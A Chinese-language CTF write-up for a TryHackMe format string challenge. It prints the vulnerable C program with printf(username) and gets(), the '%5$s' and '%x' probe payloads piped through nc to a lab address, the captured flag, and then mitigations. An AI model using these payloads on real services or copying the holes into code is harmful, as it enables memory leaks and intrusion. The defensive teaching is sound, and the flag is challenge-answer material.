Flag: THM{format_issues}
格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用 printf 族函数时开发者未正确处理用户输入的情况下。本文通过 TryHackMe 平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。
格式化字符串漏洞的根本原因在于 printf 族函数的设计机制:
参数数量不匹配:printf 函数无法在编译时验证格式化字符串与参数数量是否匹配。
栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。
类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。
当调用printf(format, arg1, arg2, ...)
时,首先格式化字符串format
被逐字符解析。遇到%
时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。
让我们深入分析这个 vulnerable 程序:
#include <stdio.h>
#include <string.h>
void print_banner(){
printf( " ______ _ __ __ _ _ \n"
" | ____| | \\ \\ / / | | | \n"
" | |__ | | __ _ __ \\ \\ / /_ _ _ _| | |_ \n"
" | __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
" | | | | (_| | (_| |\\ / (_| | |_| | | |_ \n"
" |_| |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n"
" __/ | \n"
" |___/ \n"
" \n"
"Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n"
"==================================================================\n\n"
);
}
void print_flag(char *username){
FILE *f = fopen("flag.txt","r");
char flag[200];
fgets(flag, 199, f);
//printf("%s", flag);
//The user needs to be mocked for thinking they could retrieve the flag
printf("Hello, ");
printf(username); // 🚨 漏洞点:直接将用户输入作为格式化字符串
printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
printf("Yours truly,\nByteReaper\n\n");
}
void login(){
char username[100] = "";
printf("Username: ");
gets(username); // 🚨 缓冲区溢出风险:不检查输入长度
// The flag isn't printed anymore. No need for authentication
print_flag(username);
}
void main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Start login process
print_banner();
login();
return;
}
printf(username); // 危险!应该使用 printf("%s", username);
问题分析:
username
变量直接作为格式化字符串传递给printf
。攻击者可以在输入中包含格式说明符(如%x
, %s
, %p
等)。这些格式说明符会导致printf
从栈中读取额外的数据。
gets(username); // 危险函数,已被废弃
问题分析:
gets()
函数不检查输入长度,可能导致缓冲区溢出。username
数组只有 100 字节,超长输入会覆盖栈上的其他数据。
FILE *f = fopen("flag.txt","r");
char flag[200];
fgets(flag, 199, f);
关键点:
Flag 被读入局部变量flag[200]
。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。
当print_flag
函数被调用时,栈的布局大致如下:
栈顶 (低地址)
├─ FILE *f (fopen 返回值)
├─ char flag[200] (存储读取的 flag 内容)
├─ ...其他局部变量...
├─ 返回地址
├─ 保存的 EBP
├─ char *username (传入的参数)
└─ main 函数的栈帧
栈底 (高地址)
当执行printf(username)
时,正常情况下如果username
是纯文本,会直接输出。攻击情况下如果username
包含格式说明符,printf 会尝试从栈中获取对应参数。
在 x86/x64 架构中,第 1 个参数是格式化字符串本身 (username
),第 2 个参数是栈上的下一个值,第 3 个参数是再下一个值,依此类推,第 N 个参数是栈上对应位置的值。
由于flag[200]
数组在栈上,通过合适的偏移量可以访问到 flag 内容。
成功的攻击 payload:
echo -ne '%5$s' | nc 10.10.20.224 1337
详细解析:
%5$s
直接访问第 5 个参数位置。$
语法允许直接指定参数位置,无需遍历前面的参数。s
格式符将该位置的值作为字符串指针,打印指向的内容。
通过试验不同的偏移量:
# 探测栈内容的命令示例
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337
经过测试发现,第 1-4 个参数是其他栈上的数据,第 5 个参数恰好指向 flag 字符串的地址,第 6 个及以后是其他内存内容。
在实际环境中,flag 在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构( 32 位/64 位)以及其他局部变量的分配而变化。
因此可能需要尝试不同的偏移量(%4$s
, %5$s
, %6$s
等)来定位 flag 。
$ echo -ne '%5$s' | nc 10.10.20.224 1337
______ _ __ __ _ _
| ____| | \ \ / / | | |
| |__ | | __ _ __ \ \ / /_ _ _ _| | |_
| __| | |/ _` |/ _` \ \/ / _` | | | | | __|
| | | | (_| | (_| |\ / (_| | |_| | | |_
|_| |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
__/ |
|___/
Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!
==================================================================
Username: Hello, THM{format_issues}
. Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...
Yours truly,
ByteReaper
输入 payload:%5$s
printf 处理过程:程序执行到printf(username)
,username
内容为%5$s
,printf 解析格式说明符%5$s
,访问栈上第 5 个位置的值作为字符串指针,第 5 个位置恰好指向 flag 字符串的内存地址。
输出结果:成功显示 flag 内容THM{format_issues}
用于探测栈结构的命令:
# 显示多个栈位置的十六进制值
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337
这个 payload 会显示前 8 个栈位置的十六进制值,最后用%s
尝试将第 9 个位置作为字符串打印。
格式化字符串漏洞:printf(username)
直接使用用户输入作为格式字符串。
内存中的敏感数据:flag 被读入栈上的局部变量。
可预测的内存布局:在相同环境下栈布局相对固定。
直接位置访问:%N$s
语法允许直接访问特定栈位置。
// 危险的写法
printf(user_input);
// 安全的写法
printf("%s", user_input);
// 替换危险的 gets()函数
char username[100];
if (fgets(username, sizeof(username), stdin) != NULL) {
// 移除可能的换行符
username[strcspn(username, "\n")] = '\0';
}
// 不安全:敏感数据在栈上
void print_flag(char *username) {
char flag[200]; // 在栈上,可能被泄露
// ...
}
// 更安全:使用动态分配或其他保护机制
void print_flag(char *username) {
char *flag = malloc(200);
// 使用后立即清零并释放
memset(flag, 0, 200);
free(flag);
}
# 启用格式化字符串相关警告
gcc -Wformat -Wformat-security -Wall source.c
# 启用运行时检查
gcc -D_FORTIFY_SOURCE=2 -O2 source.c
随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。
# 启用栈保护
gcc -fstack-protector-all source.c
防止在栈上执行代码,减少代码注入攻击的风险。
检测并阻止控制流劫持攻击。
使用容器化或沙箱技术隔离应用。
使用工具如 Clang Static Analyzer 、Coverity 等,在开发阶段发现潜在漏洞。
最小权限原则:程序只获取必要的权限。
输入验证:严格验证所有外部输入。
防御性编程:假设所有输入都是恶意的。
重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。
模糊测试:使用工具如 AFL 、libFuzzer 。
静态分析:集成到 CI/CD 管道。
动态分析:使用 Valgrind 、AddressSanitizer 等。
原文:(微信公众平台)[https://mp.weixin.qq.com/s/12kNxP_-PI7Gr_c4Pnb_4A]
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.